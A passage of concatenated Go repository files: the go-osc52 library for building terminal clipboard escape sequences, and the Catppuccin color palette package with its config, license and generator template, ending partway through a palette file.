"github.com/aymanbagabas/go-osc52/v2"
)
func main() {
s := "Hello World!"
// Copy `s` to system clipboard
osc52.New(s).WriteTo(os.Stderr)
// Copy `s` to primary clipboard (X11)
osc52.New(s).Primary().WriteTo(os.Stderr)
// Query the clipboard
osc52.Query().WriteTo(os.Stderr)
// Clear system clipboard
osc52.Clear().WriteTo(os.Stderr)
// Use the fmt.Stringer interface to copy `s` to system clipboard
fmt.Fprint(os.Stderr, osc52.New(s))
// Or to primary clipboard
fmt.Fprint(os.Stderr, osc52.New(s).Primary())
}
```
## SSH Example
You can use this over SSH using [gliderlabs/ssh](https://github.com/gliderlabs/ssh) for instance:
```go
var sshSession ssh.Session
seq := osc52.New("Hello awesome!")
// Check if term is screen or tmux
pty, _, _ := s.Pty()
if pty.Term == "screen" {
seq = seq.Screen()
} else if isTmux {
seq = seq.Tmux()
}
seq.WriteTo(sshSession.Stderr())
```
## Tmux
Make sure you have `set-clipboard on` in your config, otherwise, tmux won't
allow your application to access the clipboard [^1].
Using the tmux option, `osc52.TmuxMode` or `osc52.New(...).Tmux()`, wraps the
OSC52 sequence in a special tmux DCS sequence and pass it to the outer
terminal. This requires `allow-passthrough on` in your config.
`allow-passthrough` is no longer enabled by default
[since tmux 3.3a](https://github.com/tmux/tmux/issues/3218#issuecomment-1153089282) [^2].
[^1]: See [tmux clipboard](https://github.com/tmux/tmux/wiki/Clipboard)
[^2]: [What is allow-passthrough](https://github.com/tmux/tmux/wiki/FAQ#what-is-the-passthrough-escape-sequence-and-how-do-i-use-it)
## Credits
* [vim-oscyank](https://github.com/ojroques/vim-oscyank) this is heavily inspired by vim-oscyank.
+305
View File
@@ -0,0 +1,305 @@
// OSC52 is a terminal escape sequence that allows copying text to the clipboard.
//
// The sequence consists of the following:
//
// OSC 52 ; Pc ; Pd BEL
//
// Pc is the clipboard choice:
//
// c: clipboard
// p: primary
// q: secondary (not supported)
// s: select (not supported)
// 0-7: cut-buffers (not supported)
//
// Pd is the data to copy to the clipboard. This string should be encoded in
// base64 (RFC-4648).
//
// If Pd is "?", the terminal replies to the host with the current contents of
// the clipboard.
//
// If Pd is neither a base64 string nor "?", the terminal clears the clipboard.
//
// See https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Operating-System-Commands
// where Ps = 52 => Manipulate Selection Data.
//
// Examples:
//
// // copy "hello world" to the system clipboard
// fmt.Fprint(os.Stderr, osc52.New("hello world"))
//
// // copy "hello world" to the primary Clipboard
// fmt.Fprint(os.Stderr, osc52.New("hello world").Primary())
//
// // limit the size of the string to copy 10 bytes
// fmt.Fprint(os.Stderr, osc52.New("0123456789").Limit(10))
//
// // escape the OSC52 sequence for screen using DCS sequences
// fmt.Fprint(os.Stderr, osc52.New("hello world").Screen())
//
// // escape the OSC52 sequence for Tmux
// fmt.Fprint(os.Stderr, osc52.New("hello world").Tmux())
//
// // query the system Clipboard
// fmt.Fprint(os.Stderr, osc52.Query())
//
// // query the primary clipboard
// fmt.Fprint(os.Stderr, osc52.Query().Primary())
//
// // clear the system Clipboard
// fmt.Fprint(os.Stderr, osc52.Clear())
//
// // clear the primary Clipboard
// fmt.Fprint(os.Stderr, osc52.Clear().Primary())
package osc52
import (
"encoding/base64"
"fmt"
"io"
"strings"
)
// Clipboard is the clipboard buffer to use.
type Clipboard rune
const (
// SystemClipboard is the system clipboard buffer.
SystemClipboard Clipboard = 'c'
// PrimaryClipboard is the primary clipboard buffer (X11).
PrimaryClipboard = 'p'
)
// Mode is the mode to use for the OSC52 sequence.
type Mode uint
const (
// DefaultMode is the default OSC52 sequence mode.
DefaultMode Mode = iota
// ScreenMode escapes the OSC52 sequence for screen using DCS sequences.
ScreenMode
// TmuxMode escapes the OSC52 sequence for tmux. Not needed if tmux
// clipboard is set to `set-clipboard on`
TmuxMode
)
// Operation is the OSC52 operation.
type Operation uint
const (
// SetOperation is the copy operation.
SetOperation Operation = iota
// QueryOperation is the query operation.
QueryOperation
// ClearOperation is the clear operation.
ClearOperation
)
// Sequence is the OSC52 sequence.
type Sequence struct {
str string
limit int
op Operation
mode Mode
clipboard Clipboard
}
var _ fmt.Stringer = Sequence{}
var _ io.WriterTo = Sequence{}
// String returns the OSC52 sequence.
func (s Sequence) String() string {
var seq strings.Builder
// mode escape sequences start
seq.WriteString(s.seqStart())
// actual OSC52 sequence start
seq.WriteString(fmt.Sprintf("\x1b]52;%c;", s.clipboard))
switch s.op {
case SetOperation:
str := s.str
if s.limit > 0 && len(str) > s.limit {
return ""
}
b64 := base64.StdEncoding.EncodeToString([]byte(str))
switch s.mode {
case ScreenMode:
// Screen doesn't support OSC52 but will pass the contents of a DCS
// sequence to the outer terminal unchanged.
//
// Here, we split the encoded string into 76 bytes chunks and then
// join the chunks with <end-dsc><start-dsc> sequences. Finally,
// wrap the whole thing in
// <start-dsc><start-osc52><joined-chunks><end-osc52><end-dsc>.
// s := strings.SplitN(b64, "", 76)
s := make([]string, 0, len(b64)/76+1)
for i := 0; i < len(b64); i += 76 {
end := i + 76
if end > len(b64) {
end = len(b64)
}
s = append(s, b64[i:end])
}
seq.WriteString(strings.Join(s, "\x1b\\\x1bP"))
default:
seq.WriteString(b64)
}
case QueryOperation:
// OSC52 queries the clipboard using "?"
seq.WriteString("?")
case ClearOperation:
// OSC52 clears the clipboard if the data is neither a base64 string nor "?"
// we're using "!" as a default
seq.WriteString("!")
}
// actual OSC52 sequence end
seq.WriteString("\x07")
// mode escape end
seq.WriteString(s.seqEnd())
return seq.String()
}
// WriteTo writes the OSC52 sequence to the writer.
func (s Sequence) WriteTo(out io.Writer) (int64, error) {
n, err := out.Write([]byte(s.String()))
return int64(n), err
}
// Mode sets the mode for the OSC52 sequence.
func (s Sequence) Mode(m Mode) Sequence {
s.mode = m
return s
}
// Tmux sets the mode to TmuxMode.
// Used to escape the OSC52 sequence for `tmux`.
//
// Note: this is not needed if tmux clipboard is set to `set-clipboard on`. If
// TmuxMode is used, tmux must have `allow-passthrough on` set.
//
// This is a syntactic sugar for s.Mode(TmuxMode).
func (s Sequence) Tmux() Sequence {
return s.Mode(TmuxMode)
}
// Screen sets the mode to ScreenMode.
// Used to escape the OSC52 sequence for `screen`.
//
// This is a syntactic sugar for s.Mode(ScreenMode).
func (s Sequence) Screen() Sequence {
return s.Mode(ScreenMode)
}
// Clipboard sets the clipboard buffer for the OSC52 sequence.
func (s Sequence) Clipboard(c Clipboard) Sequence {
s.clipboard = c
return s
}
// Primary sets the clipboard buffer to PrimaryClipboard.
// This is the X11 primary clipboard.
//
// This is a syntactic sugar for s.Clipboard(PrimaryClipboard).
func (s Sequence) Primary() Sequence {
return s.Clipboard(PrimaryClipboard)
}
// Limit sets the limit for the OSC52 sequence.
// The default limit is 0 (no limit).
//
// Strings longer than the limit get ignored. Settting the limit to 0 or a
// negative value disables the limit. Each terminal defines its own escapse
// sequence limit.
func (s Sequence) Limit(l int) Sequence {
if l < 0 {
s.limit = 0
} else {
s.limit = l
}
return s
}
// Operation sets the operation for the OSC52 sequence.
// The default operation is SetOperation.
func (s Sequence) Operation(o Operation) Sequence {
s.op = o
return s
}
// Clear sets the operation to ClearOperation.
// This clears the clipboard.
//
// This is a syntactic sugar for s.Operation(ClearOperation).
func (s Sequence) Clear() Sequence {
return s.Operation(ClearOperation)
}
// Query sets the operation to QueryOperation.
// This queries the clipboard contents.
//
// This is a syntactic sugar for s.Operation(QueryOperation).
func (s Sequence) Query() Sequence {
return s.Operation(QueryOperation)
}
// SetString sets the string for the OSC52 sequence. Strings are joined with a
// space character.
func (s Sequence) SetString(strs ...string) Sequence {
s.str = strings.Join(strs, " ")
return s
}
// New creates a new OSC52 sequence with the given string(s). Strings are
// joined with a space character.
func New(strs ...string) Sequence {
s := Sequence{
str: strings.Join(strs, " "),
limit: 0,
mode: DefaultMode,
clipboard: SystemClipboard,
op: SetOperation,
}
return s
}
// Query creates a new OSC52 sequence with the QueryOperation.
// This returns a new OSC52 sequence to query the clipboard contents.
//
// This is a syntactic sugar for New().Query().
func Query() Sequence {
return New().Query()
}
// Clear creates a new OSC52 sequence with the ClearOperation.
// This returns a new OSC52 sequence to clear the clipboard.
//
// This is a syntactic sugar for New().Clear().
func Clear() Sequence {
return New().Clear()
}
func (s Sequence) seqStart() string {
switch s.mode {
case TmuxMode:
// Write the start of a tmux escape sequence.
return "\x1bPtmux;\x1b"
case ScreenMode:
// Write the start of a DCS sequence.
return "\x1bP"
default:
return ""
}
}
func (s Sequence) seqEnd() string {
switch s.mode {
case TmuxMode:
// Terminate the tmux escape sequence.
return "\x1b\\"
case ScreenMode:
// Write the end of a DCS sequence.
return "\x1b\x5c"
default:
return ""
}
}
+34
View File
@@ -0,0 +1,34 @@
# EditorConfig helps developers define and maintain consistent
# coding styles between different editors and IDEs
# EditorConfig is awesome: https://EditorConfig.org
root = true
[*]
charset = utf-8
indent_size = 2
indent_style = space
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
# go
[*.go]
indent_style = tab
indent_size = 4
# python
[*.{ini,py,py.tpl,rst}]
indent_size = 4
# rust
[*.rs]
indent_size = 4
# documentation, utils
[*.{md,mdx,diff}]
trim_trailing_whitespace = false
# windows shell scripts
[*.{cmd,bat,ps1}]
end_of_line = crlf
+4
View File
@@ -0,0 +1,4 @@
coverage.txt
dist/
_examples/catppuccin
_examples/frames/
+11
View File
@@ -0,0 +1,11 @@
# modelines, feel free to remove those if you don't want/use them:
# yaml-language-server: $schema=https://goreleaser.com/static/schema.json
# vim: set ts=2 sw=2 tw=0 fo=cnqoj
version: 2
before:
hooks:
- go mod tidy
builds:
- skip: true
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Catppuccin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+48
View File
@@ -0,0 +1,48 @@
<h3 align="center">
<img src="https://raw.githubusercontent.com/catppuccin/catppuccin/main/assets/logos/exports/1544x1544_circle.png" width="100" alt="Logo"/><br/>
<img src="https://raw.githubusercontent.com/catppuccin/catppuccin/main/assets/misc/transparent.png" height="30" width="0px"/>
Catppuccin for <a href="https://go.dev">Go</a>
<img src="https://raw.githubusercontent.com/catppuccin/catppuccin/main/assets/misc/transparent.png" height="30" width="0px"/>
</h3>
<p align="center">
<a href="https://github.com/catppuccin/go/stargazers"><img src="https://img.shields.io/github/stars/catppuccin/go?colorA=363a4f&colorB=b7bdf8&style=for-the-badge"></a>
<a href="https://github.com/catppuccin/go/issues"><img src="https://img.shields.io/github/issues/catppuccin/go?colorA=363a4f&colorB=f5a97f&style=for-the-badge"></a>
<a href="https://github.com/catppuccin/go/contributors"><img src="https://img.shields.io/github/contributors/catppuccin/go?colorA=363a4f&colorB=a6da95&style=for-the-badge"></a>
</p>
![Catppuccin Variants](https://raw.githubusercontent.com/catppuccin/go/main/_examples/catppuccin.gif)
## Usage
1. Run `go get github.com/catppuccin/go`.
2. Add `import catppuccin "github.com/catppuccin/go"` to your file.
3. Refer to the [pkg.go.dev documentation](https://pkg.go.dev/github.com/catppuccin/go) and [`_examples/main.go`](https://github.com/catppuccin/go/blob/main/_examples/main.go) for usage.
## Contributing
This repository uses [Whiskers](https://github.com/catppuccin/whiskers) to generate the Go flavor files.
Ensure `whiskers` and `go` are in your `$PATH`, and run:
```sh
go generate ./...
```
## 💝 Thanks to
- [Carlos Becker](https://github.com/caarlos0)
&nbsp;
<p align="center">
<img src="https://raw.githubusercontent.com/catppuccin/catppuccin/main/assets/footers/gray0_ctp_on_line.svg?sanitize=true" />
</p>
<p align="center">
Copyright &copy; 2021-present <a href="https://github.com/catppuccin" target="_blank">Catppuccin Org</a>
</p>
<p align="center">
<a href="https://github.com/catppuccin/catppuccin/blob/main/LICENSE"><img src="https://img.shields.io/static/v1.svg?style=for-the-badge&label=License&message=MIT&logoColor=d9e0ee&colorA=363a4f&colorB=b7bdf8"/></a>
</p>
+95
View File
@@ -0,0 +1,95 @@
{
"nodes": {
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1710146030,
"narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1718198959,
"narHash": "sha256-s04G4JzMhLmlxK56DRMimXZ0n/lCQYRNOusKIGdaYks=",
"owner": "nixos",
"repo": "nixpkgs",
"rev": "375801cfcba34b1b2d4360cf54817a114e1411f0",
"type": "github"
},
"original": {
"owner": "nixos",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1732014248,
"narHash": "sha256-y/MEyuJ5oBWrWAic/14LaIr/u5E0wRVzyYsouYY3W6w=",
"owner": "nixos",
"repo": "nixpkgs",
"rev": "23e89b7da85c3640bbc2173fe04f4bd114342367",
"type": "github"
},
"original": {
"owner": "nixos",
"ref": "nixos-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs",
"whiskers": "whiskers"
}
},
"systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
},
"whiskers": {
"inputs": {
"nixpkgs": "nixpkgs_2"
},
"locked": {
"lastModified": 1732368895,
"narHash": "sha256-AZf606SzxtrkspfkypNHwgY0RBgKvPgqoyxY4FLVleg=",
"owner": "catppuccin",
"repo": "whiskers",
"rev": "c36c9fe101448cd6755d91c83321ceb4346b9ae6",
"type": "github"
},
"original": {
"owner": "catppuccin",
"repo": "whiskers",
"type": "github"
}
}
},
"root": "root",
"version": 7
}
+35
View File
@@ -0,0 +1,35 @@
{
inputs = {
nixpkgs.url = "github:nixos/nixpkgs";
flake-utils.url = "github:numtide/flake-utils";
whiskers.url = "github:catppuccin/whiskers";
};
outputs =
{ self
, flake-utils
, nixpkgs
, whiskers
,
} @ inputs:
flake-utils.lib.eachDefaultSystem (
system:
let
pkgs = nixpkgs.legacyPackages.${system};
whiskers = inputs.whiskers.packages.${system}.default;
in
{
devShells.default = pkgs.mkShell {
nativeBuildInputs = with pkgs; [
go
gopls
whiskers
(writeScriptBin "update" ''
whiskers go.tera
go fmt
'')
];
};
}
);
}
+244
View File
@@ -0,0 +1,244 @@
package catppuccingo
// Frappé variant
type frappe struct{}
// Frappé flavor variant
var Frappe Flavor = frappe{}
// Frappé
func (frappe) Name() string { return "frappe" }
// Rosewater
func (frappe) Rosewater() Color {
return Color{
Hex: "#f2d5cf",
RGB: [3]uint8{242, 213, 207},
HSL: [3]float32{10, 0.57, 0.88},
}
}
// Flamingo
func (frappe) Flamingo() Color {
return Color{
Hex: "#eebebe",
RGB: [3]uint8{238, 190, 190},
HSL: [3]float32{0, 0.59, 0.84},
}
}
// Pink
func (frappe) Pink() Color {
return Color{
Hex: "#f4b8e4",
RGB: [3]uint8{244, 184, 228},
HSL: [3]float32{316, 0.73, 0.84},
}
}
// Mauve
func (frappe) Mauve() Color {
return Color{
Hex: "#ca9ee6",
RGB: [3]uint8{202, 158, 230},
HSL: [3]float32{277, 0.59, 0.76},
}
}
// Red
func (frappe) Red() Color {
return Color{
Hex: "#e78284",
RGB: [3]uint8{231, 130, 132},
HSL: [3]float32{359, 0.68, 0.71},
}
}
// Maroon
func (frappe) Maroon() Color {
return Color{
Hex: "#ea999c",
RGB: [3]uint8{234, 153, 156},
HSL: [3]float32{358, 0.66, 0.76},
}
}
// Peach
func (frappe) Peach() Color {
return Color{
Hex: "#ef9f76",
RGB: [3]uint8{239, 159, 118},
HSL: [3]float32{20, 0.79, 0.7},
}
}
// Yellow
func (frappe) Yellow() Color {
return Color{
Hex: "#e5c890",
RGB: [3]uint8{229, 200, 144},
HSL: [3]float32{40, 0.62, 0.73},
}
}
// Green
func (frappe) Green() Color {
return Color{
Hex: "#a6d189",
RGB: [3]uint8{166, 209, 137},
HSL: [3]float32{96, 0.44, 0.68},
}
}
// Teal
func (frappe) Teal() Color {
return Color{
Hex: "#81c8be",
RGB: [3]uint8{129, 200, 190},
HSL: [3]float32{172, 0.39, 0.65},
}
}
// Sky
func (frappe) Sky() Color {
return Color{
Hex: "#99d1db",
RGB: [3]uint8{153, 209, 219},
HSL: [3]float32{189, 0.48, 0.73},
}
}
// Sapphire
func (frappe) Sapphire() Color {
return Color{
Hex: "#85c1dc",
RGB: [3]uint8{133, 193, 220},
HSL: [3]float32{199, 0.55, 0.69},
}
}
// Blue
func (frappe) Blue() Color {
return Color{
Hex: "#8caaee",
RGB: [3]uint8{140, 170, 238},
HSL: [3]float32{222, 0.74, 0.74},
}
}
// Lavender
func (frappe) Lavender() Color {
return Color{
Hex: "#babbf1",
RGB: [3]uint8{186, 187, 241},
HSL: [3]float32{239, 0.66, 0.84},
}
}
// Text
func (frappe) Text() Color {
return Color{
Hex: "#c6d0f5",
RGB: [3]uint8{198, 208, 245},
HSL: [3]float32{227, 0.7, 0.87},
}
}
// Subtext 1
func (frappe) Subtext1() Color {
return Color{
Hex: "#b5bfe2",
RGB: [3]uint8{181, 191, 226},
HSL: [3]float32{227, 0.44, 0.8},
}
}
// Subtext 0
func (frappe) Subtext0() Color {
return Color{
Hex: "#a5adce",
RGB: [3]uint8{165, 173, 206},
HSL: [3]float32{228, 0.29, 0.73},
}
}
// Overlay 2
func (frappe) Overlay2() Color {
return Color{
Hex: "#949cbb",
RGB: [3]uint8{148, 156, 187},
HSL: [3]float32{228, 0.22, 0.66},
}
}
// Overlay 1
func (frappe) Overlay1() Color {
return Color{
Hex: "#838ba7",
RGB: [3]uint8{131, 139, 167},
HSL: [3]float32{227, 0.17, 0.58},
}
}
// Overlay 0
func (frappe) Overlay0() Color {
return Color{
Hex: "#737994",
RGB: [3]uint8{115, 121, 148},
HSL: [3]float32{229, 0.13, 0.52},
}
}
// Surface 2
func (frappe) Surface2() Color {
return Color{
Hex: "#626880",
RGB: [3]uint8{98, 104, 128},
HSL: [3]float32{228, 0.13, 0.44},
}
}
// Surface 1
func (frappe) Surface1() Color {
return Color{
Hex: "#51576d",
RGB: [3]uint8{81, 87, 109},
HSL: [3]float32{227, 0.15, 0.37},
}
}
// Surface 0
func (frappe) Surface0() Color {
return Color{
Hex: "#414559",
RGB: [3]uint8{65, 69, 89},
HSL: [3]float32{230, 0.16, 0.3},
}
}
// Base
func (frappe) Base() Color {
return Color{
Hex: "#303446",
RGB: [3]uint8{48, 52, 70},
HSL: [3]float32{229, 0.19, 0.23},
}
}
// Mantle
func (frappe) Mantle() Color {
return Color{
Hex: "#292c3c",
RGB: [3]uint8{41, 44, 60},
HSL: [3]float32{231, 0.19, 0.2},
}
}
// Crust
func (frappe) Crust() Color {
return Color{
Hex: "#232634",
RGB: [3]uint8{35, 38, 52},
HSL: [3]float32{229, 0.2, 0.17},
}
}
+28
View File
@@ -0,0 +1,28 @@
---
whiskers:
version: 2.5.1
matrix:
- flavor
filename: "{{flavor.identifier}}.go"
---
package catppuccingo
// {{flavor.name}} variant
type {{flavor.identifier}} struct{}
// {{flavor.name}} flavor variant
var {{flavor.identifier | title}} Flavor = {{flavor.identifier}}{}
// {{flavor.name}}
func ({{flavor.identifier}}) Name() string { return "{{flavor.identifier}}" }
{% for _, color in flavor.colors %}
// {{color.name}}
func ({{flavor.identifier}}) {{color.identifier | title}}() Color {
return Color{
Hex: "#{{color.hex}}",
RGB: [3]uint8{ {{color.rgb.r}}, {{color.rgb.g}}, {{color.rgb.b}}},
HSL: [3]float32{ {{color.hsl.h | round(precision=2)}}, {{color.hsl.s | round(precision=2)}}, {{color.hsl.l | round(precision=2)}}},
}
}
{% endfor %}
+244
View File
@@ -0,0 +1,244 @@
package catppuccingo
// Latte variant
type latte struct{}
// Latte flavor variant
var Latte Flavor = latte{}
// Latte
func (latte) Name() string { return "latte" }
// Rosewater
func (latte) Rosewater() Color {
return Color{
Hex: "#dc8a78",
RGB: [3]uint8{220, 138, 120},
HSL: [3]float32{11, 0.59, 0.67},
}
}
// Flamingo
func (latte) Flamingo() Color {
return Color{
Hex: "#dd7878",
RGB: [3]uint8{221, 120, 120},
HSL: [3]float32{0, 0.6, 0.67},
}
}
// Pink
func (latte) Pink() Color {
return Color{
Hex: "#ea76cb",
RGB: [3]uint8{234, 118, 203},
HSL: [3]float32{316, 0.73, 0.69},
}
}
// Mauve
func (latte) Mauve() Color {
return Color{
Hex: "#8839ef",
RGB: [3]uint8{136, 57, 239},
HSL: [3]float32{266, 0.85, 0.58},
}
}
// Red
func (latte) Red() Color {
return Color{
Hex: "#d20f39",
RGB: [3]uint8{210, 15, 57},
HSL: [3]float32{347, 0.87, 0.44},
}
}
// Maroon
func (latte) Maroon() Color {
return Color{
Hex: "#e64553",
RGB: [3]uint8{230, 69, 83},
HSL: [3]float32{355, 0.76, 0.59},
}
}
// Peach
func (latte) Peach() Color {
return Color{
Hex: "#fe640b",
RGB: [3]uint8{254, 100, 11},
HSL: [3]float32{22, 0.99, 0.52},
}
}
// Yellow
func (latte) Yellow() Color {
return Color{
Hex: "#df8e1d",
RGB: [3]uint8{223, 142, 29},
HSL: [3]float32{35, 0.77, 0.49},
}
}
// Green
func (latte) Green() Color {
return Color{
Hex: "#40a02b",
RGB: [3]uint8{64, 160, 43},
HSL: [3]float32{109, 0.58, 0.4},
}
}
// Teal
func (latte) Teal() Color {
return Color{
Hex: "#179299",
RGB: [3]uint8{23, 146, 153},
HSL: [3]float32{183, 0.74, 0.35},
}
}
// Sky
func (latte) Sky() Color {
return Color{
Hex: "#04a5e5",
RGB: [3]uint8{4, 165, 229},
HSL: [3]float32{197, 0.97, 0.46},
}
}
// Sapphire
func (latte) Sapphire() Color {
return Color{
Hex: "#209fb5",
RGB: [3]uint8{32, 159, 181},
HSL: [3]float32{189, 0.7, 0.42},
}
}
// Blue
func (latte) Blue() Color {
return Color{
Hex: "#1e66f5",
RGB: [3]uint8{30, 102, 245},
HSL: [3]float32{220, 0.91, 0.54},
}
}
// Lavender
func (latte) Lavender() Color {
return Color{
Hex: "#7287fd",
RGB: [3]uint8{114, 135, 253},
HSL: [3]float32{231, 0.97, 0.72},
}
}
// Text
func (latte) Text() Color {
return Color{
Hex: "#4c4f69",
RGB: [3]uint8{76, 79, 105},
HSL: [3]float32{234, 0.16, 0.35},
}
}
// Subtext 1
func (latte) Subtext1() Color {
return Color{
Hex: "#5c5f77",
RGB: [3]uint8{92, 95, 119},
HSL: [3]float32{233, 0.13, 0.41},
}
}
// Subtext 0
func (latte) Subtext0() Color {
return Color{
Hex: "#6c6f85",
RGB: [3]uint8{108, 111, 133},
HSL: [3]float32{233, 0.1, 0.47},
}
}
// Overlay 2
func (latte) Overlay2() Color {
return Color{
Hex: "#7c7f93",
RGB: [3]uint8{124, 127, 147},
HSL: [3]float32{232, 0.1, 0.53},
}
}
// Overlay 1
func (latte) Overlay1() Color {
return Color{
Hex: "#8c8fa1",
RGB: [3]uint8{140, 143, 161},
HSL: [3]float32{231, 0.1, 0.59},
}
}
// Overlay 0
func (latte) Overlay0() Color {
return Color{
Hex: "#9ca0b0",
RGB: [3]uint8{156, 160, 176},
HSL: [3]float32{228, 0.11, 0.65},
}
}
// Surface 2
func (latte) Surface2() Color {
return Color{
Hex: "#acb0be",
RGB: [3]uint8{172, 176, 190},
HSL: [3]float32{227, 0.12, 0.71},
}
}
// Surface 1
func (latte) Surface1() Color {
return Color{
Hex: "#bcc0cc",
RGB: [3]uint8{188, 192, 204},
HSL: [3]float32{225, 0.14, 0.77},
}
}
// Surface 0
func (latte) Surface0() Color {
return Color{
Hex: "#ccd0da",
RGB: [3]uint8{204, 208, 218},
HSL: [3]float32{223, 0.16, 0.83},
}
}
// Base
func (latte) Base() Color {
return Color{
Hex: "#eff1f5",
RGB: [3]uint8{239, 241, 245},
HSL: [3]float32{220, 0.23, 0.95},
}
}
// Mantle
func (latte) Mantle() Color {
return Color{
Hex: "#e6e9ef",
RGB: [3]uint8{230, 233, 239},
HSL: [3]float32{220, 0.22, 0.92},
}
}
// Crust
func (latte) Crust() Color {
return Color{
Hex: "#dce0e8",
RGB: [3]uint8{220, 224, 232},
HSL: [3]float32{220, 0.21, 0.89},
}
}
+244
View File
@@ -0,0 +1,244 @@
package catppuccingo
// Macchiato variant
type macchiato struct{}
// Macchiato flavor variant
var Macchiato Flavor = macchiato{}
// Macchiato
func (macchiato) Name() string { return "macchiato" }
// Rosewater
func (macchiato) Rosewater() Color {
return Color{
Hex: "#f4dbd6",
RGB: [3]uint8{244, 219, 214},
HSL: [3]float32{10, 0.58, 0.9},
}
}
// Flamingo
func (macchiato) Flamingo() Color {
return Color{
Hex: "#f0c6c6",
RGB: [3]uint8{240, 198, 198},
HSL: [3]float32{0, 0.58, 0.86},
}
}
// Pink
func (macchiato) Pink() Color {
return Color{
Hex: "#f5bde6",
RGB: [3]uint8{245, 189, 230},
HSL: [3]float32{316, 0.74, 0.85},
}
}
// Mauve
func (macchiato) Mauve() Color {
return Color{
Hex: "#c6a0f6",
RGB: [3]uint8{198, 160, 246},
HSL: [3]float32{267, 0.83, 0.8},
}
}
// Red
func (macchiato) Red() Color {
return Color{
Hex: "#ed8796",
RGB: [3]uint8{237, 135, 150},
HSL: [3]float32{351, 0.74, 0.73},
}
}
// Maroon
func (macchiato) Maroon() Color {
return Color{
Hex: "#ee99a0",
RGB: [3]uint8{238, 153, 160},
HSL: [3]float32{355, 0.71, 0.77},
}
}
// Peach
func (macchiato) Peach() Color {
return Color{
Hex: "#f5a97f",
RGB: [3]uint8{245, 169, 127},
HSL: [3]float32{21, 0.86, 0.73},
}
}
// Yellow
func (macchiato) Yellow() Color {
return Color{
Hex: "#eed49f",
RGB: [3]uint8{238, 212, 159},
HSL: [3]float32{40, 0.7, 0.78},
}
}
// Green
func (macchiato) Green() Color {
return Color{
Hex: "#a6da95",
RGB: [3]uint8{166, 218, 149},
HSL: [3]float32{105, 0.48, 0.72},
}
}
// Teal
func (macchiato) Teal() Color {
return Color{
Hex: "#8bd5ca",
RGB: [3]uint8{139, 213, 202},
HSL: [3]float32{171, 0.47, 0.69},
}
}
// Sky
func (macchiato) Sky() Color {
return Color{
Hex: "#91d7e3",
RGB: [3]uint8{145, 215, 227},
HSL: [3]float32{189, 0.59, 0.73},
}
}
// Sapphire
func (macchiato) Sapphire() Color {
return Color{
Hex: "#7dc4e4",
RGB: [3]uint8{125, 196, 228},
HSL: [3]float32{199, 0.66, 0.69},
}
}
// Blue
func (macchiato) Blue() Color {
return Color{
Hex: "#8aadf4",
RGB: [3]uint8{138, 173, 244},
HSL: [3]float32{220, 0.83, 0.75},
}
}
// Lavender
func (macchiato) Lavender() Color {
return Color{
Hex: "#b7bdf8",
RGB: [3]uint8{183, 189, 248},
HSL: [3]float32{234, 0.82, 0.85},
}
}
// Text
func (macchiato) Text() Color {
return Color{
Hex: "#cad3f5",
RGB: [3]uint8{202, 211, 245},
HSL: [3]float32{227, 0.68, 0.88},
}
}
// Subtext 1
func (macchiato) Subtext1() Color {
return Color{
Hex: "#b8c0e0",
RGB: [3]uint8{184, 192, 224},
HSL: [3]float32{228, 0.39, 0.8},
}
}
// Subtext 0
func (macchiato) Subtext0() Color {
return Color{
Hex: "#a5adcb",
RGB: [3]uint8{165, 173, 203},
HSL: [3]float32{227, 0.27, 0.72},
}
}
// Overlay 2
func (macchiato) Overlay2() Color {
return Color{
Hex: "#939ab7",
RGB: [3]uint8{147, 154, 183},
HSL: [3]float32{228, 0.2, 0.65},
}
}
// Overlay 1
func (macchiato) Overlay1() Color {
return Color{
Hex: "#8087a2",
RGB: [3]uint8{128, 135, 162},
HSL: [3]float32{228, 0.15, 0.57},
}
}
// Overlay 0
func (macchiato) Overlay0() Color {
return Color{
Hex: "#6e738d",
RGB: [3]uint8{110, 115, 141},
HSL: [3]float32{230, 0.12, 0.49},
}
}
// Surface 2
func (macchiato) Surface2() Color {
return Color{
Hex: "#5b6078",
RGB: [3]uint8{91, 96, 120},
HSL: [3]float32{230, 0.14, 0.41},
}
}
// Surface 1
func (macchiato) Surface1() Color {
return Color{
Hex: "#494d64",
RGB: [3]uint8{73, 77, 100},
HSL: [3]float32{231, 0.16, 0.34},
}
}
// Surface 0
func (macchiato) Surface0() Color {
return Color{
Hex: "#363a4f",
RGB: [3]uint8{54, 58, 79},
HSL: [3]float32{230, 0.19, 0.26},
}
}
// Base
func (macchiato) Base() Color {
return Color{
Hex: "#24273a",
RGB: [3]uint8{36, 39, 58},
